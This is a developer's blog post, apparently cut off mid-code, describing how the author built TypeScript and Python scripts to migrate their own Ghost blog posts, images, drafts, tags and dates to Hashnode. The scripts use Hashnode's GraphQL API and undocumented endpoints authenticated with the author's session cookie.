<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674651241574/d7a05cac-8f7e-4473-8856-a210f5800c96.png" alt class="image--center mx-auto" /></p>
<p>I always wonder why there could be such a ridiculous problem. Image displaying is a crucial function of a blogging platform. So I tried searching around for solutions and it seems <a target="_blank" href="https://github.com/TryGhost/Ghost/issues/10912">this</a> is the most related description to the problem. But yet I see no solution.</p>
<p>Time passed away, but until now the problem stays the same. I decided that enough is enough, and I will try to find a new platform for my blog! (Again).</p>
<h2 id="heading-why-hashnode">Why Hashnode?</h2>
<p>I have a tech-savvy friend who blogged a lot, one day we were sitting together at a coffee shop. In the new year atmosphere, I challenged him to blog and see who gets viral first.</p>
<p>But what am I missing? A proper blog 🙃. I asked him to give me some suggestions, and so he gave me <strong>Hashnode</strong> and <strong>11ty.dev</strong>.</p>
<p>I looked through and thought that both looks nice. But then what caught my attention is that Hashnode was made for developers, with everything hosted and free. Cool, I can start my own blog in a matter of clicks then, and other developers will start to see my developer-oriented contents 😁. How great!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674652920394/7965b628-2f27-4223-ae74-14cad6642fc9.png" alt="I like Hashnode's UI and feed!" class="image--center mx-auto" /></p>
<p>Another cool thing is that while Hashnode is a markdown blogging platform, it can automatically recognize and convert my HTML content, like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674653160136/f83af085-3aa7-4de1-b1a1-220953987f34.gif" alt class="image--center mx-auto" /></p>
<h2 id="heading-butwhat-are-you-going-to-do-with-the-old-blog-posts">But...what are you going to do with the old blog posts?</h2>
<p>I left them and started fresh.</p>
<p>Nah, just kidding. I worked so hard to create a tool to migrate all the posts, drafts, tags, and images from my old Ghost blog to my new Hashnode blog, and try to keep everything as it is. To my fellow readers, this is where the journey begins!</p>
<p>Initially, I looked around to see if there is any official API I could use yet and found <a target="_blank" href="https://api.hashnode.com/">https://api.hashnode.com/</a>, it's a graphql endpoint and playground. but there isn't any documentation that describes it in a human manner, the docs there are just schemas, queries, and type definitions that we can refer to when making queries.</p>
<p>After searching around for a while I found some blog posts that teach us how to use the endpoint and construct queries the right way. I found this repo from another Vietnamese (phuctm97 - if you ever read this blog, thank you 😄).</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://github.com/phuctm97/hashnode-sdk-js">https://github.com/phuctm97/hashnode-sdk-js</a></div>
<p> </p>
<p>The repo has been archived, but when I tested it still works! Using the example code below from the repo I've been able to create new posts.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> run <span class="hljs-keyword">from</span> <span class="hljs-string">"./_run"</span>;
<span class="hljs-keyword">import</span> findUser <span class="hljs-keyword">from</span> <span class="hljs-string">"../find-user"</span>;
<span class="hljs-keyword">import</span> createPublicationArticle <span class="hljs-keyword">from</span> <span class="hljs-string">"../create-publication-article"</span>;

run(<span class="hljs-keyword">async</span> () =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> findUser(<span class="hljs-string">"trekttt"</span>);
  <span class="hljs-keyword">const</span> article = <span class="hljs-keyword">await</span> createPublicationArticle(user.publication.id, {
    <span class="hljs-attr">title</span>: <span class="hljs-string">"Article created using hashnode-sdk-js"</span>,
    <span class="hljs-attr">slug</span>: <span class="hljs-string">"article-created-using-hashnode-sdk-js"</span>,
    <span class="hljs-attr">contentMarkdown</span>:
      <span class="hljs-string">"# [Test] Hashnode SDK JavaScript/TypeScript\n\nThis is a test article, created using hashnode-sdk-js."</span>,
  });
  <span class="hljs-keyword">return</span> article;
});
</code></pre>
<p>Now that we have a method to create a new post with <code>title</code>, <code>slug</code> and <code>contentMarkdown</code>. I went to my Ghost blog to export my blog data for testing.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674661756258/725002e2-f7a6-4d2f-9981-3699fabdb273.png" alt class="image--center mx-auto" /></p>
<p>Ghost gave me the <code>ghost-backup.json</code> file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674661878258/b88af4da-de4a-4a2e-b7f1-4496a4f82d3b.png" alt class="image--center mx-auto" /></p>
<p>With the structure like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674661955997/76ec4564-89b3-4e1d-8f7c-12d9c2c9d9cd.png" alt class="image--center mx-auto" /></p>
<p>And the post data structure:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674665321823/75073a2f-4920-4ef0-828d-07d68db5c19b.png" alt class="image--center mx-auto" /></p>
<p>With that information in hand, I could start testing with post creation.</p>
<h2 id="heading-testing-post-creation">Testing post creation</h2>
<p>Although I supplied <code>post.html</code> to the <code>contentMarkdown</code> field, Hashnode was able to parse it seamlessly. This is the code I used to test post creation (I already modified the source from the git repo a bit).</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> dotenv <span class="hljs-keyword">from</span> <span class="hljs-string">"dotenv"</span>;
dotenv.config();
<span class="hljs-keyword">import</span> {
  findUser,
  createPublicationArticle,
} <span class="hljs-keyword">from</span> <span class="hljs-string">"hashnode-sdk-js"</span>;
<span class="hljs-keyword">import</span> sharp <span class="hljs-keyword">from</span> <span class="hljs-string">"sharp"</span>;

<span class="hljs-keyword">const</span> { HASHNODE_API_KEY, HASHNODE_COOKIE } = process.env;

(<span class="hljs-keyword">async</span> () =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> findUser(<span class="hljs-string">"trekttt"</span>);
  <span class="hljs-keyword">let</span> jsonData = <span class="hljs-built_in">JSON</span>.parse(fs.readFileSync(<span class="hljs-string">"./ghost-backup.json"</span>, <span class="hljs-string">"utf-8"</span>));
  <span class="hljs-keyword">let</span> postsData = jsonData.db[<span class="hljs-number">0</span>].data.posts;
  <span class="hljs-keyword">let</span> postsTags = jsonData.db[<span class="hljs-number">0</span>].data.posts_tags;
  <span class="hljs-keyword">let</span> tags_ = jsonData.db[<span class="hljs-number">0</span>].data.tags;

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> post <span class="hljs-keyword">of</span> postsData) {
    <span class="hljs-keyword">await</span> createPublicationArticle(HASHNODE_API_KEY || <span class="hljs-string">""</span>, <span class="hljs-string">"&lt;publicationId&gt;"</span>, {
      title: post.title,
      slug: post.slug,
      contentMarkdown: post.html
    });
  }
})();
</code></pre>
<p>Here is one of the results:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674665543858/a242e3fa-f9fd-418c-a69d-65145d28e333.png" alt class="image--center mx-auto" /></p>
<p>But there is one problem: All the images went missing.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674665672306/434731a2-47f0-44ba-9fa1-5b7a9b99d73c.png" alt class="image--center mx-auto" /></p>
<p>You know what? The images were not included in the backup. This seems like another way to prevent users from moving away off Ghost.</p>
<h2 id="heading-first-challenge-image-backup">First challenge: Image backup</h2>
<p>Look into the post's HTML content, there are references to images that were hosted on the Ghost's server:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674662920564/4547ffc6-705d-42d6-b73a-e4215e3c14f0.png" alt class="image--center mx-auto" /></p>
<p>Of course I didn't want to point the images to Ghost's server because when I shut down my old blog, all of these will be gone.</p>
<blockquote>
<p>This led me to writing a simple Python script that will backup the images to my local machine.</p>
</blockquote>
<p>Here I used the <code>post['mobiledoc']</code> field because it contains all the references to embedded items inside my post.</p>
<p>Images of the same post were arranged in a folder with the <code>post['uuid']</code> as the name.</p>
<p>I also hashed the image path as <code>md5(imagePath.encode("utf-8")).hexdigest()</code> in order to get rid of slashes inside the filename but still allow easy mapping from the original path.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> json, requests, os
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> md5

data = open(<span class="hljs-string">'./ghost-backup.json'</span>, encoding=<span class="hljs-string">'utf-8'</span>).read()
jsonData = json.loads(data)
postsData = jsonData[<span class="hljs-string">'db'</span>][<span class="hljs-number">0</span>][<span class="hljs-string">'data'</span>][<span class="hljs-string">'posts'</span>]

BLOG_URL = <span class="hljs-string">'https://thao.ghost.io'</span>
IMAGE_DIR = <span class="hljs-string">'./images'</span>

<span class="hljs-keyword">for</span> post <span class="hljs-keyword">in</span> postsData:
    postId = post[<span class="hljs-string">'uuid'</span>]
    mobileDoc = json.loads(post[<span class="hljs-string">'mobiledoc'</span>])
    cards = mobileDoc[<span class="hljs-string">'cards'</span>]
    print(postId)
    <span class="hljs-keyword">for</span> card <span class="hljs-keyword">in</span> cards:
        <span class="hljs-keyword">if</span> card[<span class="hljs-number">0</span>] == <span class="hljs-string">'image'</span>:
            imagePath = card[<span class="hljs-number">1</span>][<span class="hljs-string">'src'</span>]
            imageUrl = imagePath.replace(<span class="hljs-string">'__GHOST_URL__'</span>, BLOG_URL)
            print(imageUrl)
            <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> os.path.exists(<span class="hljs-string">f'<span class="hljs-subst">{IMAGE_DIR}</span>/<span class="hljs-subst">{postId}</span>'</span>):
                os.makedirs(<span class="hljs-string">f'<span class="hljs-subst">{IMAGE_DIR}</span>/<span class="hljs-subst">{postId}</span>'</span>)
            f = open(<span class="hljs-string">f'<span class="hljs-subst">{IMAGE_DIR}</span>/<span class="hljs-subst">{postId}</span>/<span class="hljs-subst">{md5(imagePath.encode(<span class="hljs-string">"utf-8"</span>)).hexdigest()}</span>.png'</span>, <span class="hljs-string">'wb'</span>)
            f.write(requests.get(imageUrl).content)
            f.close()
</code></pre>
<p>After running the script, I have a folder structure like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674663790207/1aea6d49-821f-4bc3-aab9-e2d3ba4f4558.png" alt="Post's uuid as folder name" class="image--center mx-auto" /></p>
<p>Images of a same post lying in the same folder:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674663804876/4c47571c-df61-498f-b5c2-83a4551ed35a.png" alt="Images of the same post are in the same folder" class="image--center mx-auto" /></p>
<h2 id="heading-second-challenge-image-restore">Second challenge: Image restore</h2>
<p>Now that I have all the images saved to my local machine. Next step is to upload them to the Hashnode server and replace them in my original post's content.</p>
<p>I create a new draft, opened the Network view on Chrome Developer Tools. Try to drag &amp; drop an image into the editor to see what happens. Two interesting requests showed up.</p>
<h3 id="heading-requests-examination">Requests examination</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674666399016/c97970f6-d270-48df-9654-de77174bd181.gif" alt class="image--center mx-auto" /></p>
<ol>
<li><p>A POST request with graphql query to <a target="_blank" href="https://gql.hashnode.com/">https://gql.hashnode.com/</a> which generates the URL of the image and provides credentials for us to upload the image to the Amazon S3 server. Request:</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674666565916/c2714fd9-9178-47b0-a9f3-a1a93f1723c6.png" alt class="image--center mx-auto" /></p>
<p> Response:</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674666642444/7a8cf70f-b5e9-4bf8-8dea-8c21b735fe6a.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>A POST request to <a target="_blank" href="https://s3.amazonaws.com/cloudmate-test">https://s3.amazonaws.com/cloudmate-test</a> which uses the credentials from the first request and send the image as binary data. You can see the form keys that correspond to the data of the first request's response.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674666973338/4697ce56-db71-46e5-be02-05e40c345039.png" alt class="image--center mx-auto" /></p>
</li>
</ol>
<p>Now that I understand the requests' specifications, the next step is to implement them. I forked the repo above to <a target="_blank" href="https://github.com/t-rekttt/hashnode-sdk-js">https://github.com/t-rekttt/hashnode-sdk-js</a> to add my new implementations.</p>
<p>Looked into the implementation inside <code>base.ts</code> I knew that the author has been using <code>node-fetch</code> it to implement his query.</p>
<h3 id="heading-original-api-code-using-node-fetch">Original API code using node-fetch</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> fetch <span class="hljs-keyword">from</span> <span class="hljs-string">"node-fetch"</span>;

<span class="hljs-keyword">const</span> apiURL = <span class="hljs-string">"https://api.hashnode.com"</span>;
<span class="hljs-keyword">const</span> apiKey = process.env.HASHNODE_API_KEY;

<span class="hljs-comment">/**
 * Hashnode API's returned errors.
 */</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> APIError <span class="hljs-keyword">extends</span> <span class="hljs-built_in">Error</span> {
  <span class="hljs-keyword">readonly</span> errors: <span class="hljs-built_in">any</span>[];

  <span class="hljs-keyword">constructor</span>(<span class="hljs-params">errors: <span class="hljs-built_in">any</span>[]</span>) {
    <span class="hljs-built_in">super</span>(<span class="hljs-string">`Hashnode API error: <span class="hljs-subst">${<span class="hljs-built_in">JSON</span>.stringify(errors, <span class="hljs-literal">null</span>, <span class="hljs-number">2</span>)}</span>.`</span>);
    <span class="hljs-built_in">this</span>.errors = errors;
  }
}

<span class="hljs-comment">/**
 * Generic utility to make a Hashnode API's call.
 *
 * @param gql GraphQL query.
 * @param variables Variables expression.
 */</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> query = <span class="hljs-function">(<span class="hljs-params">gql: <span class="hljs-built_in">string</span>, variables: <span class="hljs-built_in">any</span></span>) =&gt;</span>
  fetch(apiURL, {
    method: <span class="hljs-string">"POST"</span>,
    headers: {
      <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>,
      Accept: <span class="hljs-string">"application/json"</span>,
      Authorization: apiKey || <span class="hljs-string">""</span>,
    },
    body: <span class="hljs-built_in">JSON</span>.stringify({
      query: gql,
      variables,
    }),
  })
    <span class="hljs-comment">// Parse JSON body.</span>
    .then(<span class="hljs-keyword">async</span> (res) =&gt; ({ ok: res.ok, json: <span class="hljs-keyword">await</span> res.json() }))
    <span class="hljs-comment">// Check for API errors.</span>
    .then(<span class="hljs-function">(<span class="hljs-params">res</span>) =&gt;</span> {
      <span class="hljs-keyword">if</span> (!res.ok || res.json.errors) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> APIError(res.json.errors);
      <span class="hljs-keyword">return</span> res.json;
    });
</code></pre>
<p>Initially, I was going to follow his convention and continue using <code>node-fetch</code> to implement the image upload, but that decision made me suffer. Somehow the library was not calculating the <code>Content-Length</code> header automatically which made the server threw errors to my face complaining about me not telling the server about the image size. I tried to fix by calculating the header myself but it mismatched. Overall coping with <code>node-fetch</code> took me about 3-4 hours of desperation without getting anything solved or knowing why it mismatched (the size calculated in the header is much bigger than the image size in bytes).</p>
<p>After that, I decided to switch to a library that was deprecated but much more familiar to me, the <code>request-promise</code> . Suddenly I put the calls in and everything got to work. No more error was given.</p>
<p>Here are my implementations for the 2 requests described above:</p>
<h3 id="heading-images-migration-requests-implementation">Images migration requests implementation</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> queryUnofficial = <span class="hljs-keyword">async</span> (
  gql: <span class="hljs-built_in">string</span>,
  variables: <span class="hljs-built_in">any</span>,
  cookie: <span class="hljs-built_in">string</span>
): <span class="hljs-built_in">Promise</span>&lt;<span class="hljs-built_in">any</span>&gt; =&gt; {
  <span class="hljs-keyword">let</span> res = <span class="hljs-keyword">await</span> request(unofficalApiUrl, {
    method: <span class="hljs-string">"POST"</span>,
    headers: {
      <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>,
      Accept: <span class="hljs-string">"application/json"</span>,
      Cookie: cookie,
    },
    body: {
      query: gql,
      variables,
    },
    json: <span class="hljs-literal">true</span>,
  });
  <span class="hljs-keyword">if</span> (res?.errors) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> APIError(res?.errors);
  <span class="hljs-keyword">return</span> res;
};

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> uploadImageToAmazon = <span class="hljs-keyword">async</span> (fields: <span class="hljs-built_in">object</span>, imageStream: <span class="hljs-built_in">any</span>) =&gt; {
  <span class="hljs-keyword">let</span> res = <span class="hljs-keyword">await</span> request.post(imageUploadApiUrl, {
    formData: {
      ...fields,
      file: {
        value: imageStream,
        options: {
          filename: <span class="hljs-string">"image.png"</span>,
          contentType: <span class="hljs-string">"image/png"</span>,
        },
      },
    },
    resolveWithFullResponse: <span class="hljs-literal">true</span>,
    simple: <span class="hljs-literal">false</span>,
  });

  <span class="hljs-keyword">if</span> (res.statusCode !== <span class="hljs-number">204</span>) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> APIError([res.body]);

  <span class="hljs-keyword">return</span> res;
};
</code></pre>
<p>Ok, good. Now what I need to do in order to migrate a post with all its images is:</p>
<ol>
<li><p>Loop through the image paths inside the post using the <code>post['mobiledoc']</code> field.</p>
</li>
<li><p>Get the md5 hash of the image and map it to the local path.</p>
</li>
<li><p>Upload (restore) the images to Hashnode's S3 server.</p>
</li>
<li><p>Replace the path of the images inside the post's HTML code.</p>
</li>
<li><p>Create the post</p>
</li>
</ol>
<h3 id="heading-images-migration-function">Images migration function</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">let</span> migrateImages = <span class="hljs-keyword">async</span> (post: <span class="hljs-built_in">any</span>) =&gt; {
  <span class="hljs-keyword">let</span> postHtml = post.html;
  <span class="hljs-keyword">let</span> postId = post.uuid;
  <span class="hljs-keyword">let</span> mobileDoc = <span class="hljs-built_in">JSON</span>.parse(post.mobiledoc);
  <span class="hljs-keyword">let</span> cards = mobileDoc.cards;

  <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> card <span class="hljs-keyword">of</span> cards) {
    <span class="hljs-keyword">if</span> (card[<span class="hljs-number">0</span>] == <span class="hljs-string">"image"</span>) {
      <span class="hljs-keyword">let</span> retries = <span class="hljs-number">0</span>;
      <span class="hljs-keyword">let</span> newImageUrl: <span class="hljs-built_in">string</span> | <span class="hljs-literal">null</span> = <span class="hljs-literal">null</span>;
      <span class="hljs-keyword">let</span> imagePath = card[<span class="hljs-number">1</span>].src;

      <span class="hljs-keyword">while</span> (retries &lt;= <span class="hljs-number">3</span>) {
        <span class="hljs-keyword">try</span> {
          retries++;

          <span class="hljs-keyword">if</span> (!postHtml.includes(imagePath)) {
            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Skipped <span class="hljs-subst">${imagePath}</span>`</span>);
            <span class="hljs-keyword">break</span>;
          }

          <span class="hljs-keyword">let</span> hash = MD5(imagePath).toString();
          <span class="hljs-keyword">let</span> localImagePath = <span class="hljs-string">`./images/<span class="hljs-subst">${postId}</span>/<span class="hljs-subst">${hash}</span>.png`</span>;
          <span class="hljs-keyword">try</span> {
            <span class="hljs-keyword">await</span> sharp(localImagePath)
              .png({ quality: <span class="hljs-number">80</span> })
              .toFile(<span class="hljs-string">"./images/tmp.png"</span>);
          } <span class="hljs-keyword">catch</span> (err) {
            <span class="hljs-built_in">console</span>.log(err);
            <span class="hljs-keyword">break</span>;
          }

          newImageUrl = <span class="hljs-keyword">await</span> uploadImage(
            fs.createReadStream(<span class="hljs-string">"./images/tmp.png"</span>),
            HASHNODE_COOKIE || <span class="hljs-string">""</span>
          );
          <span class="hljs-keyword">break</span>;
        } <span class="hljs-keyword">catch</span> (error) {
          <span class="hljs-built_in">console</span>.log(error);
        }
      }

      <span class="hljs-keyword">if</span> (!newImageUrl) {
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Given up on image <span class="hljs-subst">${imagePath}</span>`</span>);
        <span class="hljs-keyword">continue</span>;
      }

      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Uploaded image <span class="hljs-subst">${imagePath}</span>, new url: <span class="hljs-subst">${newImageUrl}</span>`</span>);

      postHtml = postHtml.replace(<span class="hljs-keyword">new</span> <span class="hljs-built_in">RegExp</span>(imagePath, <span class="hljs-string">"g"</span>), newImageUrl);
    }
  }

  <span class="hljs-keyword">return</span> postHtml;
};
</code></pre>
<p>The code looks a bit nested because I added some try-catch with 3 retries in order to make sure my script will not fail because of any stupid HTTP timeout exception.</p>
<p>You might notice this small piece of code inside the function above also, it's for compressing the image to prevent the image from passing S3's image size limit (I think the limit is 5MB):</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">await</span> sharp(localImagePath)
  .png({ quality: <span class="hljs-number">80</span> })
  .toFile(<span class="hljs-string">"./images/tmp.png"</span>);
</code></pre>
<p>And with the same demo post from above, here is how it looks on my new Hashnode blog:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674669526237/e780ad0d-1ece-4080-8729-b5fbc3bff7a6.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-third-challenge-draft-tags-backdated-time-migration-for-a-tailored-experience">Third challenge: Draft, tags, backdated time migration - For a tailored experience</h2>
<p>Successfully migrated all the posts' content and images, it looks like I've satisfied my original needs in order to get rid of Ghost.</p>
<p>But look into the small details: now all my posts have almost the same published date, drafts were not migrated or turned into published posts (Hashnode has no option to unpublish posts yet), and tags were gone. There is no way anyone who is serious at blogging would consider a half-baked migration like that.</p>
<p>So in order to convince people that I'm seriously blogging 🤣, I decided to try to cover all of those.</p>
<p>It's easier said than done, out of my surprise, almost each of my purpose requires a different API implementation:</p>
<ul>
<li><p>For backdating posts and migrating tags: Update post API.</p>
</li>
<li><p>For drafts migration with tags and backdated time: Create draft API, update draft API.</p>
</li>
</ul>
<p>The method is identical. I used Chrome Devtools to capture the requests while tweaking some options, to see which leads to what.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674670313199/31d88446-c141-4fb3-961b-c0d6c872307e.png" alt class="image--center mx-auto" /></p>
<p>And so the examination turned into the implementation below:</p>
<h3 id="heading-http-requests-implementations">HTTP requests implementations</h3>
<pre><code class="lang-typescript"><span class="hljs-comment">// Update post</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> sendAjaxUpdatePost = <span class="hljs-function">(<span class="hljs-params">data : PostUpdate, cookie: <span class="hljs-built_in">string</span></span>) =&gt;</span> {
  <span class="hljs-keyword">return</span> request.post(<span class="hljs-string">`<span class="hljs-subst">${ajaxApiUnofficial}</span>/post/update`</span>, {
    body: data,
    json: <span class="hljs-literal">true</span>,
    headers: {
      Cookie: cookie,
    },
  });
}

<span class="hljs-comment">// Create &amp; update drafts</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> createDraftUnofficial = <span class="hljs-keyword">async</span>(publicationId : Publication[<span class="hljs-string">"id"</span>], cookie : <span class="hljs-built_in">string</span>) =&gt; {
  <span class="hljs-keyword">let</span> res = <span class="hljs-keyword">await</span> request.get(<span class="hljs-string">"https://hashnode.com/draft"</span>, {
    qs: {
      <span class="hljs-keyword">new</span>: <span class="hljs-literal">true</span>,
      publicationId,
    },
    headers: {
      Cookie: cookie,
    },
    json: <span class="hljs-literal">true</span>,
    resolveWithFullResponse: <span class="hljs-literal">true</span>,
    simple: <span class="hljs-literal">false</span>,
    followRedirect: <span class="hljs-literal">false</span>
  });

  <span class="hljs-keyword">if</span> (res.statusCode !== <span class="hljs-number">307</span>)
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> APIError(res.body);

  <span class="hljs-keyword">return</span> res.headers[<span class="hljs-string">'location'</span>];
}

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> updateDraftUnofficial = <span class="hljs-function">(<span class="hljs-params">data : DraftUpdate, cookie : <span class="hljs-built_in">string</span></span>) =&gt;</span> {
  <span class="hljs-keyword">return</span> request.post(<span class="hljs-string">"https://hashnode.com/api/draft/save-data"</span>, {
    body: data,
    json: <span class="hljs-literal">true</span>,
    headers: {
      Cookie: cookie
    }
  });
}
</code></pre>
<h3 id="heading-migration-functions-for-posts-and-drafts">Migration functions for posts and drafts</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">let</span> migratePublishedPost = <span class="hljs-keyword">async</span> (
  publicationId: <span class="hljs-built_in">string</span>,
  post: <span class="hljs-built_in">any</span>,
  tags: <span class="hljs-built_in">any</span>
): <span class="hljs-built_in">Promise</span>&lt;<span class="hljs-built_in">boolean</span>&gt; =&gt; {
  <span class="hljs-keyword">let</span> postTitle = post.title;
  <span class="hljs-keyword">let</span> postSlug = post.slug;
  <span class="hljs-keyword">let</span> postCreationTime = post.created_at;
  <span class="hljs-keyword">let</span> postHtml = <span class="hljs-keyword">await</span> migrateImages(post);

  <span class="hljs-keyword">const</span> article = <span class="hljs-keyword">await</span> createPublicationArticle(
    HASHNODE_API_KEY || <span class="hljs-string">""</span>,
    publicationId,
    {
      title: postTitle,
      slug: postSlug,
      contentMarkdown: postHtml,
    }
  );
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Created article <span class="hljs-subst">${postTitle}</span>`</span>);

  <span class="hljs-keyword">await</span> updatePublicationArticleUnofficial(
    {
      post: {
        title: postTitle,
        subtitle: <span class="hljs-string">""</span>,
        contentMarkdown: postHtml,
        tags: tags.map(<span class="hljs-function">(<span class="hljs-params">tag: <span class="hljs-built_in">string</span></span>) =&gt;</span> ({
          name: tag,
          slug: tag,
          _id: <span class="hljs-literal">null</span>,
          logo: <span class="hljs-literal">null</span>,
        })),
        pollOptions: [],
        <span class="hljs-keyword">type</span>: <span class="hljs-string">"story"</span>,
        coverImage: <span class="hljs-string">""</span>,
        coverImageAttribution: <span class="hljs-string">""</span>,
        coverImagePhotographer: <span class="hljs-string">""</span>,
        isCoverAttributionHidden: <span class="hljs-literal">false</span>,
        ogImage: <span class="hljs-string">""</span>,
        metaTitle: <span class="hljs-string">""</span>,
        metaDescription: <span class="hljs-string">""</span>,
        isRepublished: <span class="hljs-literal">false</span>,
        originalArticleURL: <span class="hljs-string">""</span>,
        partOfPublication: <span class="hljs-literal">true</span>,
        publication: publicationId,
        slug: postSlug,
        slugOverridden: <span class="hljs-literal">false</span>,
        importedFromMedium: <span class="hljs-literal">false</span>,
        dateAdded: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(postCreationTime).getTime(),
        hasCustomDate: <span class="hljs-literal">true</span>,
        hasScheduledDate: <span class="hljs-literal">false</span>,
        isDelisted: <span class="hljs-literal">false</span>,
        disableComments: <span class="hljs-literal">false</span>,
        stickCoverToBottom: <span class="hljs-literal">false</span>,
        enableToc: <span class="hljs-literal">true</span>,
        isNewsletterActivated: <span class="hljs-literal">true</span>,
        _id: article.id,
        hasLatex: <span class="hljs-literal">false</span>,
      },
      draftId: <span class="hljs-literal">true</span>,
    },
    HASHNODE_COOKIE || <span class="hljs-string">""</span>
  );

  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Updated article <span class="hljs-subst">${postTitle}</span>`</span>);
  <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
};

<span class="hljs-keyword">let</span> migrateDraft = <span class="hljs-keyword">async</span> (
  user: User,
  post: <span class="hljs-built_in">any</span>,
  tags: <span class="hljs-built_in">any</span>,
  publicationId: Publication[<span class="hljs-string">"id"</span>] = user.publication.id
) =&gt; {
  <span class="hljs-keyword">let</span> postTitle = post.title;
  <span class="hljs-keyword">let</span> postSlug = post.slug;
  <span class="hljs-keyword">let</span> postCreationTime = post.created_at;
  <span class="hljs-keyword">let</span> draftId = <span class="hljs-keyword">await</span> createDraftUnofficial(
    publicationId,
    HASHNODE_COOKIE || <span class="hljs-string">""</span>
  );
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Created draft <span class="hljs-subst">${draftId}</span>`</span>);

  <span class="hljs-keyword">let</span> postHtml = <span class="hljs-keyword">await</span> migrateImages(post);

  <span class="hljs-keyword">let</span> data = {
    updateData: {
      _id: draftId,
      <span class="hljs-keyword">type</span>: <span class="hljs-string">"story"</span>,
      contentMarkdown: postHtml,
      title: postTitle,
      subtitle: <span class="hljs-string">""</span>,
      slug: postSlug,
      slugOverridden: <span class="hljs-literal">false</span>,
      tags: tags.map(<span class="hljs-function">(<span class="hljs-params">tag: <span class="hljs-built_in">string</span></span>) =&gt;</span> ({
        name: tag,
        slug: tag,
        _id: <span class="hljs-literal">null</span>,
        logo: <span class="hljs-literal">null</span>,
      })),
      coverImage: <span class="hljs-string">""</span>,
      coverImageAttribution: <span class="hljs-string">""</span>,
      coverImagePhotographer: <span class="hljs-string">""</span>,
      isCoverAttributionHidden: <span class="hljs-literal">false</span>,
      ogImage: <span class="hljs-string">""</span>,
      metaTitle: <span class="hljs-string">""</span>,
      metaDescription: <span class="hljs-string">""</span>,
      originalArticleURL: <span class="hljs-string">""</span>,
      isRepublished: <span class="hljs-literal">false</span>,
      partOfPublication: <span class="hljs-literal">true</span>,
      publication: publicationId,
      isDelisted: <span class="hljs-literal">false</span>,
      dateAdded: <span class="hljs-string">""</span>,
      importedFromMedium: <span class="hljs-literal">false</span>,
      dateUpdated: postCreationTime,
      hasCustomDate: <span class="hljs-literal">false</span>,
      hasScheduledDate: <span class="hljs-literal">false</span>,
      isActive: <span class="hljs-literal">true</span>,
      series: <span class="hljs-literal">null</span>,
      pendingPublicationApproval: <span class="hljs-literal">false</span>,
      disableComments: <span class="hljs-literal">false</span>,
      stickCoverToBottom: <span class="hljs-literal">false</span>,
      enableToc: <span class="hljs-literal">false</span>,
      publishAs: <span class="hljs-literal">null</span>,
      isNewsletterActivated: <span class="hljs-literal">true</span>,
    },
    draftAuthor: user.id,
    draftId: draftId,
    options: {
      merge: <span class="hljs-literal">true</span>,
    },
  };

  <span class="hljs-keyword">let</span> result = <span class="hljs-keyword">await</span> updateDraftUnofficial(data, HASHNODE_COOKIE || <span class="hljs-string">""</span>);
  <span class="hljs-keyword">if</span> (result) <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`Updated draft <span class="hljs-subst">${draftId}</span>`</span>);
